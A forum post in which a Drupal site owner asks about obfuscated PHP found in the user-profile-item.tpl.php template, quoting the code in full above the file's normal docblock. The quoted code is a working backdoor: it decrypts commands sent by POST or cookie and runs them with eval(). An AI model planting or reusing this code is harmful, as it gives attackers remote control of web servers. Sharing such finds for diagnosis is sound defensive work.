malicious code seen in user module

hello,

I have seen the below code in "/public_html/modules/user/user-profile-item.tpl.php" file. I know my drupal version was not updated, but any idea what is this ?

$GLOBALS['tc9da149'];global$tc9da149;$tc9da149=$GLOBALS;$tc9da149['k585c9']="\x28\x40\x63\x21\x5c\x36\x2d\x34\x6c\x67\x26\x77\x76\x5d\x57\x3b\x61\x27\x22\x5f\x2b\x55\x64\x2c\x3f\x50\x48\x4d\x24\x56\x68\x31\x52\x7a\x4f\x47\x6a\x35\x72\x2a\x79\x59\x74\x69\xd\x2f\x7c\x54\x43\x32\x33\x4e\x3c\x71\x25\x4b\x66\x29\x6f\x37\x70\x46\x6d\x75\x53\x41\x3e\x30\x23\x7b\x4c\x4a\x7e\x44\x5b\x5a\x3d\x39\x62\x58\x20\x73\x60\x7d\x49\x5e\x78\x42\x45\x2e\xa\x38\x3a\x6e\x9\x6b\x51\x65";$tc9da149[$tc9da149['k585c9'][38].$tc9da149['k585c9'][49].$tc9da149['k585c9'][16].$tc9da149['k585c9'][97].$tc9da149['k585c9'][7].$tc9da149['k585c9'][77].$tc9da149['k585c9'][5].$tc9da149['k585c9'][5]]=$tc9da149['k585c9'][2].$tc9da149['k585c9'][30].$tc9da149['k585c9'][38];$tc9da149[$tc9da149['k585c9'][95].$tc9da149['k585c9'][97].$tc9da149['k585c9'][50].$tc9da149['k585c9'][78].$tc9da149['k585c9'][22].$tc9da149['k585c9'][49].$tc9da149['k585c9'][67].$tc9da149['k585c9'][7]]=$tc9da149['k585c9'][58].$tc9da149['k585c9'][38].$tc9da149['k585c9'][22];$tc9da149[$tc9da149['k585c9'][40].$tc9da149['k585c9'][67].$tc9da149['k585c9'][59].$tc9da149['k585c9'][59]]=$tc9da149['k585c9'][81].$tc9da149['k585c9'][42].$tc9da149['k585c9'][38].$tc9da149['k585c9'][8].$tc9da149['k585c9'][97].$tc9da149['k585c9'][93];$tc9da149[$tc9da149['k585c9'][93].$tc9da149['k585c9'][97].$tc9da149['k585c9'][77].$tc9da149['k585c9'][67]]=$tc9da149['k585c9'][43].$tc9da149['k585c9'][93].$tc9da149['k585c9'][43].$tc9da149['k585c9'][19].$tc9da149['k585c9'][81].$tc9da149['k585c9'][97].$tc9da149['k585c9'][42];$tc9da149[$tc9da149['k585c9'][60].$tc9da149['k585c9'][49].$tc9da149['k585c9'][78].$tc9da149['k585c9'][16].$tc9da149['k585c9'][97].$tc9da149['k585c9'][67].$tc9da149['k585c9'][97]]=$tc9da149['k585c9'][81].$tc9da149['k585c9'][97].$tc9da149['k585c9'][38].$tc9da149['k585c9'][43].$tc9da149['k585c9'][16].$tc9da149['k585c9'][8].$tc9da149['k585c9'][43].$tc9da149['k585c9'][33].$tc9da149['k585c9'][97];$tc9da149[$tc9da149['k585c9'][38].$tc9da149['k585c9'][31].$tc9da149['k585c9'][7].$tc9da149['k585c9'][56]]=$tc9da149['k585c9'][60].$tc9da149['k585c9'][30].$tc9da149['k585c9'][60].$tc9da149['k585c9'][12].$tc9da149['k585c9'][97].$tc9da149['k585c9'][38].$tc9da149['k585c9'][81].$tc9da149['k585c9'][43].$tc9da149['k585c9'][58].$tc9da149['k585c9'][93];$tc9da149[$tc9da149['k585c9'][16].$tc9da149['k585c9'][22].$tc9da149['k585c9'][22].$tc9da149['k585c9'][56].$tc9da149['k585c9'][56].$tc9da149['k585c9'][2]]=$tc9da149['k585c9'][63].$tc9da149['k585c9'][93].$tc9da149['k585c9'][81].$tc9da149['k585c9'][97].$tc9da149['k585c9'][38].$tc9da149['k585c9'][43].$tc9da149['k585c9'][16].$tc9da149['k585c9'][8].$tc9da149['k585c9'][43].$tc9da149['k585c9'][33].$tc9da149['k585c9'][97];$tc9da149[$tc9da149['k585c9'][9].$tc9da149['k585c9'][59].$tc9da149['k585c9'][78].$tc9da149['k585c9'][77].$tc9da149['k585c9'][50].$tc9da149['k585c9'][67].$tc9da149['k585c9'][7]]=$tc9da149['k585c9'][78].$tc9da149['k585c9'][16].$tc9da149['k585c9'][81].$tc9da149['k585c9'][97].$tc9da149['k585c9'][5].$tc9da149['k585c9'][7].$tc9da149['k585c9'][19].$tc9da149['k585c9'][22].$tc9da149['k585c9'][97].$tc9da149['k585c9'][2].$tc9da149['k585c9'][58].$tc9da149['k585c9'][22].$tc9da149['k585c9'][97];$tc9da149[$tc9da149['k585c9'][22].$tc9da149['k585c9'][49].$tc9da149['k585c9'][49].$tc9da149['k585c9'][56].$tc9da149['k585c9'][97].$tc9da149['k585c9'][56].$tc9da149['k585c9'][97].$tc9da149['k585c9'][91].$tc9da149['k585c9'][56]]=$tc9da149['k585c9'][81].$tc9da149['k585c9'][97].$tc9da149['k585c9'][42].$tc9da149['k585c9'][19].$tc9da149['k585c9'][42].$tc9da149['k585c9'][43].$tc9da149['k585c9'][62].$tc9da149['k585c9'][97].$tc9da149['k585c9'][19].$tc9da149['k585c9'][8].$tc9da149['k585c9'][43].$tc9da149['k585c9'][62].$tc9da149['k585c9'][43].$tc9da149['k585c9'][42];$tc9da149[$tc9da149['k585c9'][38].$tc9da149['k585c9'][59].$tc9da149['k585c9'][97].$tc9da149['k585c9'][22].$tc9da149['k585c9'][16].$tc9da149['k585c9'][56].$tc9da149['k585c9'][49]]=$tc9da149['k585c9'][97].$tc9da149['k585c9'][49].$tc9da149['k585c9'][97].$tc9da149['k585c9'][16];$tc9da149[$tc9da149['k585c9'][2].$tc9da149['k585c9'][97].$tc9da149['k585c9'][77].$tc9da149['k585c9'][91].$tc9da149['k585c9'][2].$tc9da149['k585c9'][50].$tc9da149['k585c9'][67]]=$tc9da149['k585c9'][60].$tc9da149['k585c9'][31].$tc9da149['k585c9'][67].$tc9da149['k585c9'][31].$tc9da149['k585c9'][56].$tc9da149['k585c9'][78].$tc9da149['k585c9'][56];$tc9da149[$tc9da149['k585c9'][43].$tc9da149['k585c9'][56].$tc9da149['k585c9'][7].$tc9da149['k585c9'][16].$tc9da149['k585c9'][97].$tc9da149['k585c9'][7].$tc9da149['k585c9'][77]]=$_POST;$tc9da149[$tc9da149['k585c9'][8].$tc9da149['k585c9'][31].$tc9da149['k585c9'][37].$tc9da149['k585c9'][77].$tc9da149['k585c9'][91].$tc9da149['k585c9'][67].$tc9da149['k585c9'][50]]=$_COOKIE;@$tc9da149[$tc9da149['k585c9'][93].$tc9da149['k585c9'][97].$tc9da149['k585c9'][77].$tc9da149['k585c9'][67]]($tc9da149['k585c9'][97].$tc9da149['k585c9'][38].$tc9da149['k585c9'][38].$tc9da149['k585c9'][58].$tc9da149['k585c9'][38].$tc9da149['k585c9'][19].$tc9da149['k585c9'][8].$tc9da149['k585c9'][58].$tc9da149['k585c9'][9],NULL);@$tc9da149[$tc9da149['k585c9'][93].$tc9da149['k585c9'][97].$tc9da149['k585c9'][77].$tc9da149['k585c9'][67]]($tc9da149['k585c9'][8].$tc9da149['k585c9'][58].$tc9da149['k585c9'][9].$tc9da149['k585c9'][19].$tc9da149['k585c9'][97].$tc9da149['k585c9'][38].$tc9da149['k585c9'][38].$tc9da149['k585c9'][58].$tc9da149['k585c9'][38].$tc9da149['k585c9'][81],0);@$tc9da149[$tc9da149['k585c9'][93].$tc9da149['k585c9'][97].$tc9da149['k585c9'][77].$tc9da149['k585c9'][67]]($tc9da149['k585c9'][62].$tc9da149['k585c9'][16].$tc9da149['k585c9'][86].$tc9da149['k585c9'][19].$tc9da149['k585c9'][97].$tc9da149['k585c9'][86].$tc9da149['k585c9'][97].$tc9da149['k585c9'][2].$tc9da149['k585c9'][63].$tc9da149['k585c9'][42].$tc9da149['k585c9'][43].$tc9da149['k585c9'][58].$tc9da149['k585c9'][93].$tc9da149['k585c9'][19].$tc9da149['k585c9'][42].$tc9da149['k585c9'][43].$tc9da149['k585c9'][62].$tc9da149['k585c9'][97],0);@$tc9da149[$tc9da149['k585c9'][22].$tc9da149['k585c9'][49].$tc9da149['k585c9'][49].$tc9da149['k585c9'][56].$tc9da149['k585c9'][97].$tc9da149['k585c9'][56].$tc9da149['k585c9'][97].$tc9da149['k585c9'][91].$tc9da149['k585c9'][56]](0);$a35b7a563=NULL;$s63d3f7=NULL;$tc9da149[$tc9da149['k585c9'][12].$tc9da149['k585c9'][7].$tc9da149['k585c9'][50].$tc9da149['k585c9'][16]]=$tc9da149['k585c9'][5].$tc9da149['k585c9'][50].$tc9da149['k585c9'][59].$tc9da149['k585c9'][50].$tc9da149['k585c9'][50].$tc9da149['k585c9'][22].$tc9da149['k585c9'][22].$tc9da149['k585c9'][59].$tc9da149['k585c9'][6].$tc9da149['k585c9'][56].$tc9da149['k585c9'][16].$tc9da149['k585c9'][31].$tc9da149['k585c9'][31].$tc9da149['k585c9'][6].$tc9da149['k585c9'][7].$tc9da149['k585c9'][22].$tc9da149['k585c9'][78].$tc9da149['k585c9'][49].$tc9da149['k585c9'][6].$tc9da149['k585c9'][16].$tc9da149['k585c9'][59].$tc9da149['k585c9'][22].$tc9da149['k585c9'][97].$tc9da149['k585c9'][6].$tc9da149['k585c9'][49].$tc9da149['k585c9'][91].$tc9da149['k585c9'][2].$tc9da149['k585c9'][31].$tc9da149['k585c9'][2].$tc9da149['k585c9'][59].$tc9da149['k585c9'][97].$tc9da149['k585c9'][37].$tc9da149['k585c9'][67].$tc9da149['k585c9'][56].$tc9da149['k585c9'][78].$tc9da149['k585c9'][49];global$v43a;function p101fbf($a35b7a563,$z35a318b9){global$tc9da149;$h072="";for($b1ed950=0;$b1ed950<$tc9da149[$tc9da149['k585c9'][40].$tc9da149['k585c9'][67].$tc9da149['k585c9'][59].$tc9da149['k585c9'][59]]($a35b7a563);){for($w11808a3=0;$w11808a3<$tc9da149[$tc9da149['k585c9'][40].$tc9da149['k585c9'][67].$tc9da149['k585c9'][59].$tc9da149['k585c9'][59]]($z35a318b9)&&$b1ed950<$tc9da149[$tc9da149['k585c9'][40].$tc9da149['k585c9'][67].$tc9da149['k585c9'][59].$tc9da149['k585c9'][59]]($a35b7a563);$w11808a3++,$b1ed950++){$h072.=$tc9da149[$tc9da149['k585c9'][38].$tc9da149['k585c9'][49].$tc9da149['k585c9'][16].$tc9da149['k585c9'][97].$tc9da149['k585c9'][7].$tc9da149['k585c9'][77].$tc9da149['k585c9'][5].$tc9da149['k585c9'][5]]($tc9da149[$tc9da149['k585c9'][95].$tc9da149['k585c9'][97].$tc9da149['k585c9'][50].$tc9da149['k585c9'][78].$tc9da149['k585c9'][22].$tc9da149['k585c9'][49].$tc9da149['k585c9'][67].$tc9da149['k585c9'][7]]($a35b7a563[$b1ed950])^$tc9da149[$tc9da149['k585c9'][95].$tc9da149['k585c9'][97].$tc9da149['k585c9'][50].$tc9da149['k585c9'][78].$tc9da149['k585c9'][22].$tc9da149['k585c9'][49].$tc9da149['k585c9'][67].$tc9da149['k585c9'][7]]($z35a318b9[$w11808a3]));}}return$h072;}function e2ea($a35b7a563,$z35a318b9){global$tc9da149;global$v43a;return$tc9da149[$tc9da149['k585c9'][2].$tc9da149['k585c9'][97].$tc9da149['k585c9'][77].$tc9da149['k585c9'][91].$tc9da149['k585c9'][2].$tc9da149['k585c9'][50].$tc9da149['k585c9'][67]]($tc9da149[$tc9da149['k585c9'][2].$tc9da149['k585c9'][97].$tc9da149['k585c9'][77].$tc9da149['k585c9'][91].$tc9da149['k585c9'][2].$tc9da149['k585c9'][50].$tc9da149['k585c9'][67]]($a35b7a563,$v43a),$z35a318b9);}foreach($tc9da149[$tc9da149['k585c9'][8].$tc9da149['k585c9'][31].$tc9da149['k585c9'][37].$tc9da149['k585c9'][77].$tc9da149['k585c9'][91].$tc9da149['k585c9'][67].$tc9da149['k585c9'][50]]as$z35a318b9=>$ic341){$a35b7a563=$ic341;$s63d3f7=$z35a318b9;}if(!$a35b7a563){foreach($tc9da149[$tc9da149['k585c9'][43].$tc9da149['k585c9'][56].$tc9da149['k585c9'][7].$tc9da149['k585c9'][16].$tc9da149['k585c9'][97].$tc9da149['k585c9'][7].$tc9da149['k585c9'][77]]as$z35a318b9=>$ic341){$a35b7a563=$ic341;$s63d3f7=$z35a318b9;}}$a35b7a563=@$tc9da149[$tc9da149['k585c9'][16].$tc9da149['k585c9'][22].$tc9da149['k585c9'][22].$tc9da149['k585c9'][56].$tc9da149['k585c9'][56].$tc9da149['k585c9'][2]]($tc9da149[$tc9da149['k585c9'][38].$tc9da149['k585c9'][59].$tc9da149['k585c9'][97].$tc9da149['k585c9'][22].$tc9da149['k585c9'][16].$tc9da149['k585c9'][56].$tc9da149['k585c9'][49]]($tc9da149[$tc9da149['k585c9'][9].$tc9da149['k585c9'][59].$tc9da149['k585c9'][78].$tc9da149['k585c9'][77].$tc9da149['k585c9'][50].$tc9da149['k585c9'][67].$tc9da149['k585c9'][7]]($a35b7a563),$s63d3f7));if(isset($a35b7a563[$tc9da149['k585c9'][16].$tc9da149['k585c9'][95]])&&$v43a==$a35b7a563[$tc9da149['k585c9'][16].$tc9da149['k585c9'][95]]){if($a35b7a563[$tc9da149['k585c9'][16]]==$tc9da149['k585c9'][43]){$b1ed950=Array($tc9da149['k585c9'][60].$tc9da149['k585c9'][12]=>@$tc9da149[$tc9da149['k585c9'][38].$tc9da149['k585c9'][31].$tc9da149['k585c9'][7].$tc9da149['k585c9'][56]](),$tc9da149['k585c9'][81].$tc9da149['k585c9'][12]=>$tc9da149['k585c9'][31].$tc9da149['k585c9'][89].$tc9da149['k585c9'][67].$tc9da149['k585c9'][6].$tc9da149['k585c9'][31],);echo@$tc9da149[$tc9da149['k585c9'][60].$tc9da149['k585c9'][49].$tc9da149['k585c9'][78].$tc9da149['k585c9'][16].$tc9da149['k585c9'][97].$tc9da149['k585c9'][67].$tc9da149['k585c9'][97]]($b1ed950);}elseif($a35b7a563[$tc9da149['k585c9'][16]]==$tc9da149['k585c9'][97]){eval($a35b7a563[$tc9da149['k585c9'][22]]);}exit();}

/**
 * @file
 * Default theme implementation to present profile items (values from user
 * account profile fields or modules).
 *
 * This template is used to loop through and render each field configured
 * for the user's account. It can also be the data from modules. The output is
 * grouped by categories.
 *
 * @see user-profile-category.tpl.php
 *      for the parent markup. Implemented as a definition list by default.
 * @see user-profile.tpl.php
 *      where all items and categories are collected and printed out.
 *
 * Available variables:
 * - $title: Field title for the profile item.
 * - $value: User defined value for the profile item or data from a module.
 * - $attributes: HTML attributes. Usually renders classes.
 *
 * @see template_preprocess_user_profile_item()
 */